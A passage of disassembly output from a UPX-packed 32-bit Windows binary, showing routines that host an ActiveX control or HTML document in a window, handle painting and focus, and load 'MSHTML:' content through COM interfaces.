short loc_402539 mov eax, [esi+60h] push ecx lea ecx, [esi+80h] push ecx call sub_40154B mov dword ptr [esi+94h], 0CDCDCDCDh loc_402539: ; CODE XREF: sub_4024D9+44j mov eax, [esi+64h] cmp eax, edi jz short loc_402561 push dword ptr [esi+9Ch] mov ecx, [eax] push eax call dword ptr [ecx+50h] mov eax, [esi+64h] mov ecx, [eax] push 1 push eax call dword ptr [ecx+18h] mov eax, [esi+64h] mov ecx, [eax] push edi push eax call dword ptr [ecx+0Ch] loc_402561: ; CODE XREF: sub_4024D9+65j mov eax, [esi+60h] cmp eax, edi jz short loc_40259B mov [ebp-10h], edi lea edx, [ebp-10h] push edx push offset dword_423B8C mov [ebp-4], edi mov ecx, [eax] push eax call dword ptr [ecx] mov eax, [ebp-10h] cmp eax, edi jz short loc_40258D mov ecx, [eax] push edi push eax call dword ptr [ecx+0Ch] mov eax, [ebp-10h] loc_40258D: ; CODE XREF: sub_4024D9+A8j or dword ptr [ebp-4], 0FFFFFFFFh cmp eax, edi jz short loc_40259B mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40259B: ; CODE XREF: sub_4024D9+8Dj ; sub_4024D9+BAj mov eax, [esi+70h] cmp eax, edi jz short loc_4025AB mov [esi+70h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4025AB: ; CODE XREF: sub_4024D9+C7j mov [esi+90h], edi mov eax, [esi+74h] cmp eax, edi jz short loc_4025C1 mov [esi+74h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4025C1: ; CODE XREF: sub_4024D9+DDj mov eax, [esi+64h] cmp eax, edi jz short loc_4025D1 mov [esi+64h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4025D1: ; CODE XREF: sub_4024D9+EDj mov eax, [esi+60h] cmp eax, edi jz short loc_4025E1 mov [esi+60h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4025E1: ; CODE XREF: sub_4024D9+FDj mov eax, [esi+6Ch] cmp eax, edi jz short loc_4025F1 mov [esi+6Ch], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4025F1: ; CODE XREF: sub_4024D9+10Dj mov eax, [esi+68h] cmp eax, edi jz short loc_402601 mov [esi+68h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402601: ; CODE XREF: sub_4024D9+11Dj and dword ptr [esi+98h], 0FFFFFFA4h add esi, 0C4h mov eax, [esi] cmp eax, edi jz short loc_40261D push eax call dword_41D30C ; DestroyAcceleratorTable mov [esi], edi loc_40261D: ; CODE XREF: sub_4024D9+16j ; sub_4024D9+139j call sub_40C50C retn sub_4024D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_402623 proc near ; CODE XREF: sub_402032+A8p push 0 mov eax, offset loc_41BF38 call sub_40C46D mov esi, ecx mov eax, [ebp+8] xor edi, edi test dword ptr [esi+0A0h], 4000h mov [eax], edi jz short loc_40269D cmp [esi+64h], edi jz short loc_4026B4 test byte ptr [esi+98h], 1 jnz short loc_4026B4 mov [ebp+8], edi mov [ebp-4], edi mov eax, [esi] call dword ptr [eax+10h] mov ecx, [eax] lea edx, [ebp+8] push edx push offset dword_423BEC push eax call dword ptr [ecx] mov ecx, [ebp+8] cmp ecx, edi jz short loc_40268D mov eax, [esi+64h] mov edx, [eax] lea ebx, [esi+0B4h] push ebx push dword ptr [esi+4] push edi push ecx push edi push 0FFFFFFFBh push eax call dword ptr [edx+2Ch] mov ecx, [ebp+8] loc_40268D: ; CODE XREF: sub_402623+4Dj or dword ptr [ebp-4], 0FFFFFFFFh cmp ecx, edi jz short loc_4026B4 mov eax, [ecx] push ecx call dword ptr [eax+8] jmp short loc_4026B4 ; --------------------------------------------------------------------------- loc_40269D: ; CODE XREF: sub_402623+1Fj lea eax, [esi+98h] or dword ptr [eax], 20h test byte ptr [eax], 40h jnz short loc_4026B4 lea eax, [ebp+8] push eax call sub_4026BE loc_4026B4: ; CODE XREF: sub_402623+24j ; sub_402623+2Dj ... xor eax, eax call sub_40C50C retn 4 sub_402623 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4026BE proc near ; CODE XREF: sub_402032+1D8p ; sub_402623+8Cp push 4 mov eax, offset loc_41BF5B call sub_40C46D xor edi, edi cmp [esi+64h], edi jz short loc_402725 test byte ptr [esi+98h], 2 jnz short loc_402725 mov [ebp-10h], edi mov [ebp-4], edi mov eax, [esi] mov ecx, esi call dword ptr [eax+10h] mov ecx, [eax] lea edx, [ebp-10h] push edx push offset dword_423BEC push eax call dword ptr [ecx] mov ecx, [ebp-10h] cmp ecx, edi jz short loc_402717 mov eax, [esi+64h] mov edx, [eax] lea ebx, [esi+0B4h] push ebx push dword ptr [esi+4] push edi push ecx push edi push 0FFFFFFFCh push eax call dword ptr [edx+2Ch] mov ecx, [ebp-10h] loc_402717: ; CODE XREF: sub_4026BE+3Cj or dword ptr [ebp-4], 0FFFFFFFFh cmp ecx, edi jz short loc_402725 mov eax, [ecx] push ecx call dword ptr [eax+8] loc_402725: ; CODE XREF: sub_4026BE+11j ; sub_4026BE+1Aj ... test byte ptr [esi+98h], 8 jz short loc_402733 push dword ptr [esi+4] jmp short loc_402753 ; --------------------------------------------------------------------------- loc_402733: ; CODE XREF: sub_4026BE+6Ej call dword_41D338 ; GetFocus push eax push dword ptr [esi+4] call dword_41D328 ; IsChild test eax, eax jnz short loc_402759 push 5 push dword ptr [esi+4] call dword_41D274 ; GetWindow push eax loc_402753: ; CODE XREF: sub_4026BE+73j call dword_41D354 ; SetFocus loc_402759: ; CODE XREF: sub_4026BE+87j mov eax, [ebp+8] mov [eax], edi xor eax, eax call sub_40C50C retn 4 sub_4026BE endp ; =============== S U B R O U T I N E ======================================= sub_402768 proc near ; CODE XREF: sub_402032+89p arg_0 = dword ptr 4 mov edx, [ebx+0B4h] movsx eax, cx shr ecx, 10h push esi mov esi, [ebx+0B8h] movsx ecx, cx add ecx, esi add eax, edx push edi mov [ebx+0BCh], eax mov [ebx+0C0h], ecx sub ecx, esi lea edi, [ebx+0ACh] sub eax, edx lea esi, [ebx+0A4h] mov [edi], eax mov [ebx+0B0h], ecx call sub_404933 mov eax, [ebx+64h] test eax, eax jz short loc_4027BC mov ecx, [eax] push esi push 1 push eax call dword ptr [ecx+44h] loc_4027BC: ; CODE XREF: sub_402768+49j mov eax, [ebx+74h] pop edi pop esi test eax, eax jz short loc_4027D3 mov edx, [eax] lea ecx, [ebx+0B4h] push ecx push ecx push eax call dword ptr [edx+1Ch] loc_4027D3: ; CODE XREF: sub_402768+5Bj test byte ptr [ebx+98h], 8 jz short loc_4027E9 push 1 lea eax, [ebx+2Ch] mov ecx, [eax] push 0 push eax call dword ptr [ecx+64h] loc_4027E9: ; CODE XREF: sub_402768+72j mov eax, [esp+arg_0] and dword ptr [eax], 0 xor eax, eax retn 4 sub_402768 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027F5 proc near ; CODE XREF: sub_402032+19Fp ; sub_402032+31Cp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ecx+98h] and [ebp+var_4], 0 test al, 1 jz short loc_40282A test al, 8 jz short loc_40282A mov eax, [ecx+74h] test eax, eax jz short loc_40282A mov ecx, [eax] lea edx, [ebp+var_4] push edx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword ptr [ecx+24h] cmp eax, 1 jnz short loc_402830 loc_40282A: ; CODE XREF: sub_4027F5+10j ; sub_4027F5+14j ... mov eax, [ebp+arg_C] and dword ptr [eax], 0 loc_402830: ; CODE XREF: sub_4027F5+33j mov eax, [ebp+var_4] leave retn 10h sub_4027F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402837 proc near ; CODE XREF: sub_402032+155p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ecx+98h] and [ebp+var_4], 0 test al, 1 jz short loc_402867 test al, 8 jz short loc_402867 mov eax, [ecx+74h] test eax, eax jz short loc_402867 mov ecx, [eax] lea edx, [ebp+var_4] push edx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax call dword ptr [ecx+24h] loc_402867: ; CODE XREF: sub_402837+10j ; sub_402837+14j ... mov eax, [ebp+arg_C] and dword ptr [eax], 0 mov eax, [ebp+var_4] leave retn 10h sub_402837 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402874 proc near ; CODE XREF: sub_402032+55p var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = byte ptr -4Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6Ch mov eax, dword_42A034 xor eax, ebp mov [ebp+var_8], eax mov eax, [ebp+arg_0] push ebx push edi xor edi, edi cmp [esi+70h], edi jnz short loc_4028F1 lea eax, [ebp+var_4C] push eax push dword ptr [esi+4] call dword_41D358 ; BeginPaint mov [ebp+var_50], eax cmp eax, edi jz loc_4029D6 lea eax, [ebp+var_60] push eax push dword ptr [esi+4] call dword_41D34C ; GetClientRect push dword ptr [esi+0CCh] call dword_41D054 ; CreateSolidBrush mov ebx, eax cmp ebx, edi jz short loc_4028DC push ebx lea eax, [ebp+var_60] push eax push [ebp+var_50] call dword_41D324 ; FillRect push ebx loc_4028D6: ; CODE XREF: sub_402874+15Bj call dword_41D038 ; DeleteObject loc_4028DC: ; CODE XREF: sub_402874+51j ; sub_402874+CBj lea eax, [ebp+var_4C] push eax push dword ptr [esi+4] call dword_41D2FC ; EndPaint xor eax, eax inc eax jmp loc_4029D8 ; --------------------------------------------------------------------------- loc_4028F1: ; CODE XREF: sub_402874+1Aj test byte ptr [esi+98h], 8 jz loc_4029D4 lea eax, [ebp+var_4C] push eax push dword ptr [esi+4] call dword_41D358 ; BeginPaint mov ebx, eax mov [ebp+var_64], ebx cmp ebx, edi jz loc_4029D6 lea eax, [ebp+var_60] push eax push dword ptr [esi+4] call dword_41D34C ; GetClientRect mov eax, [ebp+var_54] sub eax, [ebp+var_5C] push eax mov eax, [ebp+var_58] sub eax, [ebp+var_60] push eax push ebx call dword_41D044 ; CreateCompatibleBitmap mov [ebp+var_50], eax cmp eax, edi jz short loc_4028DC push ebx call dword_41D040 ; CreateCompatibleDC mov ebx, eax cmp ebx, edi jz short loc_4029CC push [ebp+var_50] push ebx call dword_41D03C ; SelectObject mov [ebp+var_6C], eax cmp eax, edi jz short loc_4029C5 push dword ptr [esi+0CCh] call dword_41D054 ; CreateSolidBrush mov [ebp+var_68], eax cmp eax, edi jz short loc_4029BB push eax lea eax, [ebp+var_60] push eax push ebx call dword_41D324 ; FillRect push [ebp+var_68] call dword_41D038 ; DeleteObject mov eax, [esi+70h] mov edx, [eax] push edi push edi lea ecx, [esi+0B4h] push ecx push ecx push ebx push edi push edi push edi push 0FFFFFFFFh push 1 push eax call dword ptr [edx+0Ch] push 0CC0020h push edi push edi push ebx push [ebp+var_54] push [ebp+var_58] push edi push edi push [ebp+var_64] call dword_41D028 ; BitBlt loc_4029BB: ; CODE XREF: sub_402874+FCj push [ebp+var_6C] push ebx call dword_41D03C ; SelectObject loc_4029C5: ; CODE XREF: sub_402874+E9j push ebx call dword_41D02C ; DeleteDC loc_4029CC: ; CODE XREF: sub_402874+D8j push [ebp+var_50] jmp loc_4028D6 ; --------------------------------------------------------------------------- loc_4029D4: ; CODE XREF: sub_402874+84j mov [eax], edi loc_4029D6: ; CODE XREF: sub_402874+2Ej ; sub_402874+9Ej xor eax, eax loc_4029D8: ; CODE XREF: sub_402874+78j mov ecx, [ebp+var_8] pop edi xor ecx, ebp pop ebx call sub_40AC1C leave retn 4 sub_402874 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] mov ecx, [eax] and dword ptr [ebp-4], 0 push edi push 0 push 0 push offset dword_41D440 lea edx, [ebp-4] push edx push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push eax call dword ptr [ecx+28h] mov edi, eax mov eax, [ebp-4] test eax, eax jz short loc_402A1F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402A1F: ; CODE XREF: UPX0:00402A17j mov eax, edi pop edi leave retn 10h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+8] mov ecx, [eax] push 0 push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push eax call dword ptr [ecx+28h] pop ebp retn 1Ch ; --------------------------------------------------------------------------- push ebx push ebp push esi push edi mov edi, [esp+14h] lea esi, [edi-24h] xor ebx, ebx mov ecx, esi inc ebx call sub_4024D9 mov eax, [edi-20h] mov ebp, dword_41D2B0 mov byte ptr [esp+14h], 0 test eax, eax jz short loc_402A88 cmp eax, [esp+1Ch] jz short loc_402A88 push 507h push 0 push 0 push eax call ebp ; dword_41D2B0 call sub_4044BB loc_402A88: ; CODE XREF: UPX0:00402A6Fj ; UPX0:00402A75j push dword ptr [esp+1Ch] call dword_41D294 ; IsWindow test eax, eax jz short loc_402AE4 mov ebx, [esp+1Ch] cmp [edi-20h], ebx jz short loc_402AA9 call sub_404477 mov byte ptr [esp+14h], 1 loc_402AA9: ; CODE XREF: UPX0:00402A9Dj push 0 push 1 push dword ptr [esp+20h] mov ecx, esi call sub_404083 mov ebx, eax test ebx, ebx jge short loc_402AE4 mov ecx, esi call sub_4024D9 mov edi, [edi-20h] test edi, edi jz short loc_402AE4 push 507h push 0 push 0 push edi call ebp ; dword_41D2B0 cmp byte ptr [esp+14h], 0 jz short loc_402AE4 call sub_4044BB loc_402AE4: ; CODE XREF: UPX0:00402A94j ; UPX0:00402ABCj ... pop edi pop esi pop ebp mov eax, ebx pop ebx retn 0Ch ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, 80004003h test ecx, ecx jz short locret_402B19 mov eax, [esp+4] mov eax, [eax+3Ch] test eax, eax jz short loc_402B11 mov edx, [eax] push ecx push dword ptr [esp+0Ch] push eax call dword ptr [edx] jmp short locret_402B19 ; --------------------------------------------------------------------------- loc_402B11: ; CODE XREF: UPX0:00402B03j and dword ptr [ecx], 0 mov eax, 80040004h locret_402B19: ; CODE XREF: UPX0:00402AF8j ; UPX0:00402B0Fj retn 0Ch ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov edi, [esp+10h] add esi, 54h cmp [esi], edi jz short loc_402B32 call sub_4011B4 loc_402B32: ; CODE XREF: UPX0:00402B2Bj pop edi xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- push esi mov esi, [esp+8] push edi mov edi, [esp+10h] add esi, 58h cmp [esi], edi jz short loc_402B4F call sub_4011B4 loc_402B4F: ; CODE XREF: UPX0:00402B48j pop edi xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+8] mov ecx, [eax] and dword ptr [ebp-4], 0 push esi push dword ptr [ebp+18h] lea edx, [ebp-4] push 0 push offset dword_41D440 push edx push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push eax call dword ptr [ecx+28h] mov esi, eax mov eax, [ebp-4] test eax, eax jz short loc_402B8E mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402B8E: ; CODE XREF: UPX0:00402B86j mov eax, esi pop esi leave retn 14h ; --------------------------------------------------------------------------- push ebp mov ebp, esp and esp, 0FFFFFFF8h mov eax, [ebp+18h] sub esp, 3Ch push ebx push esi push edi test eax, eax jnz short loc_402BB2 mov eax, 80004003h jmp loc_402EA4 ; --------------------------------------------------------------------------- loc_402BB2: ; CODE XREF: UPX0:00402BA6j mov edi, [ebp+8] and dword ptr [eax], 0 lea esi, [edi-24h] mov ecx, esi mov dword ptr [esp+10h], 1 mov byte ptr [esp+0Fh], 0 mov [esp+24h], esi call sub_4024D9 lea ebx, [edi-20h] mov eax, [ebx] mov [esp+18h], ebx test eax, eax jz short loc_402BFA cmp eax, [ebp+10h] jz short loc_402BFA push 507h push 0 push 0 push eax call dword_41D2B0 ; RedrawWindow call sub_4044BB loc_402BFA: ; CODE XREF: UPX0:00402BDEj ; UPX0:00402BE3j push dword ptr [ebp+10h] call dword_41D294 ; IsWindow test eax, eax jz loc_402EA0 mov eax, [ebp+10h] cmp [ebx], eax jz short loc_402C22 mov ebx, eax call sub_404477 mov ebx, [esp+18h] mov byte ptr [esp+0Fh], 1 loc_402C22: ; CODE XREF: UPX0:00402C10j cmp dword ptr [edi+0A8h], 0 jnz short loc_402C47 push ebx call sub_40188D test eax, eax jz short loc_402C39 push 0Fh jmp short loc_402C3B ; --------------------------------------------------------------------------- loc_402C39: ; CODE XREF: UPX0:00402C33j push 5 loc_402C3B: ; CODE XREF: UPX0:00402C37j call dword_41D2A8 ; GetSysColor mov [edi+0A8h], eax loc_402C47: ; CODE XREF: UPX0:00402C29j mov esi, [ebp+18h] push dword ptr [ebp+24h] mov ecx, [ebp+0Ch] lea edi, [esp+12h] mov ebx, esi mov byte ptr [esp+12h], 0 call sub_417A85 xor ebx, ebx cmp eax, ebx pop ecx mov [esp+10h], eax jl short loc_402C7E push dword ptr [ebp+14h] mov ecx, [esp+28h] push ebx push dword ptr [esi] call sub_404083 mov [esp+10h], eax loc_402C7E: ; CODE XREF: UPX0:00402C69j cmp [esp+10h], ebx mov edx, [ebp+8] mov esi, [ebp+1Ch] lea ecx, [edx+5Ch] mov edi, ecx movsd movsd movsd movsd jl loc_402E6B mov edi, [ebp+18h] mov eax, [edi] cmp eax, ebx jz short loc_402CB2 cmp [ebp+20h], ebx jz short loc_402CB2 add edx, 70h push edx push ecx push dword ptr [ebp+20h] call sub_4014D6 loc_402CB2: ; CODE XREF: UPX0:00402C9Ej ; UPX0:00402CA3j cmp [esp+0Eh], bl jz loc_402E5D cmp [edi], ebx jz loc_402E5D mov eax, [esp+18h] mov esi, dword_41D2CC push 0FFFFFFF0h push dword ptr [eax] call esi ; dword_41D2CC test eax, 300000h jnz short loc_402CE7 mov eax, [ebp+8] or dword ptr [eax+0BCh], 8 jmp short loc_402D14 ; --------------------------------------------------------------------------- loc_402CE7: ; CODE XREF: UPX0:00402CD9j mov eax, [esp+18h] push 0FFFFFFF0h push dword ptr [eax] call esi ; dword_41D2CC mov esi, [esp+18h] and eax, 0FFCFFFFFh push eax push 0FFFFFFF0h push dword ptr [esi] call dword_41D2B4 ; SetWindowLongW push 37h push ebx push ebx push ebx push ebx push ebx push dword ptr [esi] call dword_41D2A4 ; SetWindowPos loc_402D14: ; CODE XREF: UPX0:00402CE5j mov edi, [edi] mov [esp+20h], edi cmp edi, ebx jz short loc_402D24 mov eax, [edi] push edi call dword ptr [eax+4] loc_402D24: ; CODE XREF: UPX0:00402D1Cj mov esi, [ebp+0Ch] movzx eax, word ptr [esi] cmp ax, 4Dh jz short loc_402D3A cmp ax, 6Dh jnz loc_402EB7 loc_402D3A: ; CODE XREF: UPX0:00402D2Ej movzx eax, word ptr [esi+2] cmp ax, 53h jz short loc_402D4E cmp ax, 73h jnz loc_402EB7 loc_402D4E: ; CODE XREF: UPX0:00402D42j movzx eax, word ptr [esi+4] cmp ax, 48h jz short loc_402D62 cmp ax, 68h jnz loc_402EB7 loc_402D62: ; CODE XREF: UPX0:00402D56j movzx eax, word ptr [esi+6] cmp ax, 54h jz short loc_402D76 cmp ax, 74h jnz loc_402EB7 loc_402D76: ; CODE XREF: UPX0:00402D6Aj movzx eax, word ptr [esi+8] cmp ax, 4Dh jz short loc_402D8A cmp ax, 6Dh jnz loc_402EB7 loc_402D8A: ; CODE XREF: UPX0:00402D7Ej movzx eax, word ptr [esi+0Ah] cmp ax, 4Ch jz short loc_402D9E cmp ax, 6Ch jnz loc_402EB7 loc_402D9E: ; CODE XREF: UPX0:00402D92j cmp word ptr [esi+0Ch], 3Ah jnz loc_402EB7 push esi call dword_41D1F0 ; lstrlenW lea edi, [eax+eax-0Eh] push edi push 42h call dword_41D208 ; GlobalAlloc mov ebx, eax test ebx, ebx jz loc_402EAD and dword ptr [esp+1Ch], 0 push ebx call dword_41D210 ; GlobalLock push edi add esi, 0Eh push esi push edi push eax call sub_401125 ; --------------------------------------------------------------------------- add esp, 10h push ebx call dword_41D1EC ; GlobalUnlock lea eax, [esp+1Ch] push eax push 1 push ebx call dword_41D3A8 mov [esp+10h], eax test eax, eax jl short loc_402E3F mov eax, [esp+20h] mov ecx, [eax] and dword ptr [esp+14h], 0 lea edx, [esp+14h] push edx push offset dword_424284 push eax call dword ptr [ecx] mov [esp+10h], eax test eax, eax jl short loc_402E31 mov eax, [esp+14h] push dword ptr [esp+1Ch] mov ecx, [eax] push eax call dword ptr [ecx+14h] mov [esp+10h], eax loc_402E31: ; CODE XREF: UPX0:00402E1Dj mov eax, [esp+14h] test eax, eax jz short loc_402E3F mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402E3F: ; CODE XREF: UPX0:00402DFDj ; UPX0:00402E37j mov eax, [esp+1Ch] test eax, eax jz short loc_402E4D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402E4D: ; CODE XREF: UPX0:00402E45j ; UPX0:00402EB5j xor ebx, ebx loc_402E4F: ; CODE XREF: UPX0:00402ECEj ; UPX0:00402F5Ej ... mov eax, [esp+20h] cmp eax, ebx jz short loc_402E5D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_402E5D: ; CODE XREF: UPX0:00402CB6j ; UPX0:00402CBEj ... cmp [esp+10h], ebx jl short loc_402E6B mov eax, [ebp+8] cmp [eax+3Ch], ebx jnz short loc_402EA0 loc_402E6B: ; CODE XREF: UPX0:00402C91j ; UPX0:00402E61j mov esi, [esp+24h] mov ecx, esi call sub_4024D9 mov eax, [esp+18h] mov eax, [eax] cmp eax, ebx jz short loc_402EA0 push 507h push ebx push ebx push eax call dword_41D2B0 ; RedrawWindow cmp [esp+10h], ebx jge short loc_402EA0 cmp byte ptr [esp+0Fh], 0 jz short loc_402EA0 call sub_4044BB loc_402EA0: ; CODE XREF: UPX0:00402C05j ; UPX0:00402E69j ... mov eax, [esp+10h] loc_402EA4: ; CODE XREF: UPX0:00402BADj pop edi pop esi pop ebx mov esp, ebp pop ebp retn 20h ; --------------------------------------------------------------------------- loc_402EAD: ; CODE XREF: UPX0:00402DC1j mov dword ptr [esp+10h], 8007000Eh jmp short loc_402E4D ; --------------------------------------------------------------------------- loc_402EB7: ; CODE XREF: UPX0:00402D34j ; UPX0:00402D48j ... mov eax, [edi] lea ecx, [esp+14h] push ecx push offset dword_4242D4 push edi mov [esp+20h], ebx call dword ptr [eax] cmp [esp+14h], ebx jz loc_402E4F lea eax, [esp+38h] push eax call dword_41D248 mov edi, dword_41D23C xor eax, eax mov [esp+28h], ax lea eax, [esp+28h] push eax call edi ; dword_41D23C push 8 pop eax push esi mov [esp+2Ch], ax call dword_41D234 mov [esp+30h], eax cmp eax, ebx jnz short loc_402F21 push 0Ah pop eax mov [esp+28h], ax mov eax, 8007000Eh push eax mov [esp+34h], eax call sub_4010D8 ; --------------------------------------------------------------------------- loc_402F21: ; CODE XREF: UPX0:00402F08j mov eax, [esp+14h] mov ecx, [eax] push 0FFFFFFFFh push eax call dword ptr [ecx+0A4h] mov eax, [esp+14h] mov ecx, [eax] lea edx, [esp+38h] push edx push edx push edx push edx lea edx, [esp+38h] push edx push eax call dword ptr [ecx+0D0h] lea eax, [esp+28h] push eax call edi ; dword_41D23C lea eax, [esp+38h] push eax call edi ; dword_41D23C mov eax, [esp+14h] cmp eax, ebx jz loc_402E4F mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_402E4F ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402F6F proc near ; DATA XREF: UPX0:00424190o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov eax, [ecx+80h] mov ecx, [ecx+34h] shr eax, 5 and eax, 1 mov [ebp+arg_0], eax test ecx, ecx jz short loc_402FA9 mov edx, [ecx] lea eax, [ebp+arg_0] push eax push [ebp+arg_10] mov eax, [ebp+arg_8] push [ebp+arg_C] push dword ptr [eax+4] push dword ptr [eax] push [ebp+arg_4] push ecx call dword ptr [edx+1Ch] mov eax, [ebp+arg_0] loc_402FA9: ; CODE XREF: sub_402F6F+1Aj pop ebp retn 14h sub_402F6F endp ; =============== S U B R O U T I N E ======================================= sub_402FAD proc near ; DATA XREF: UPX0:00424194o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] test eax, eax jnz short loc_402FBC mov eax, 80004003h jmp short locret_402FED ; --------------------------------------------------------------------------- loc_402FBC: ; CODE XREF: sub_402FAD+6j mov ecx, [esp+arg_0] mov edx, [ecx+34h] test edx, edx jz short loc_402FD9 mov ecx, [edx] push esi lea esi, [eax+8] push esi add eax, 4 push eax push edx call dword ptr [ecx+20h] pop esi jmp short locret_402FED ; --------------------------------------------------------------------------- loc_402FD9: ; CODE XREF: sub_402FAD+18j mov edx, [ecx+98h] mov [eax+4], edx mov ecx, [ecx+9Ch] mov [eax+8], ecx xor eax, eax locret_402FED: ; CODE XREF: sub_402FAD+Dj ; sub_402FAD+2Aj retn 8 sub_402FAD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402FF0 proc near ; DATA XREF: UPX0:00424198o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov eax, [ecx+80h] mov ecx, [ecx+34h] shr eax, 6 and eax, 1 mov [ebp+arg_0], eax test ecx, ecx jz short loc_403028 mov eax, [ecx] lea edx, [ebp+arg_0] push edx push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push ecx call dword ptr [eax+24h] mov eax, [ebp+arg_0] loc_403028: ; CODE XREF: sub_402FF0+1Aj pop ebp retn 18h sub_402FF0 endp ; =============== S U B R O U T I N E ======================================= sub_40302C proc near ; DATA XREF: UPX0:0042419Co arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov ecx, [ecx+34h] xor eax, eax test ecx, ecx jz short locret_40303F mov eax, [ecx] push ecx call dword ptr [eax+28h] locret_40303F: ; CODE XREF: sub_40302C+Bj retn 4 sub_40302C endp ; =============== S U B R O U T I N E ======================================= sub_403042 proc near ; DATA XREF: UPX0:004241A0o arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov ecx, [ecx+34h] xor eax, eax test ecx, ecx jz short locret_403055 mov eax, [ecx] push ecx call dword ptr [eax+2Ch] locret_403055: ; CODE XREF: sub_403042+Bj retn 4 sub_403042 endp ; =============== S U B R O U T I N E ======================================= sub_403058 proc near ; DATA XREF: UPX0:004241A4o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov ecx, [ecx+34h] xor eax, eax test ecx, ecx jz short locret_403074 mov edx, [esp+arg_4] mov eax, [ecx] neg edx sbb edx, edx push edx push ecx call dword ptr [eax+30h] locret_403074: ; CODE XREF: sub_403058+Bj retn 8 sub_403058 endp ; =============== S U B R O U T I N E ======================================= sub_403077 proc near ; DATA XREF: UPX0:004241A8o arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov ecx, [ecx+34h] xor eax, eax test ecx, ecx jz short locret_403093 mov edx, [esp+arg_4] mov eax, [ecx] neg edx sbb edx, edx push edx push ecx call dword ptr [eax+34h] locret_403093: ; CODE XREF: sub_403077+Bj retn 8 sub_403077 endp ; =============== S U B R O U T I N E ======================================= sub_403096 proc near ; DATA XREF: UPX0:004241ACo arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] mov ecx, [ecx+34h] xor eax, eax test ecx, ecx jz short locret_4030B2 mov edx, [esp+arg_4] mov eax, [ecx] neg edx sbb edx, edx push edx push ecx call dword ptr [eax+38h] locret_4030B2: ; CODE XREF: sub_403096+Bj retn 8 sub_403096 endp ; =============== S U B R O U T I N E ======================================= sub_4030B5 proc near ; DATA XREF: UPX0:004241B0o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov ecx, [esp+arg_0] mov ecx, [ecx+34h] xor eax, eax test ecx, ecx jz short locret_4030E4 mov eax, [esp+arg_C] mov edx, [ecx] neg eax sbb eax, eax push eax push [esp+4+arg_8] mov eax, [esp+8+arg_4] push dword ptr [eax+0Ch] push dword ptr [eax+8] push dword ptr [eax+4] push dword ptr [eax] push ecx call dword ptr [edx+3Ch] locret_4030E4: ; CODE XREF: sub_4030B5+Bj retn 10h sub_4030B5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030E7 proc near ; DATA XREF: UPX0:004241B4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] push edi mov edi, [eax+34h] mov [ebp+var_4], 1 test edi, edi jz short loc_403130 push esi push [ebp+arg_8] lea esi, 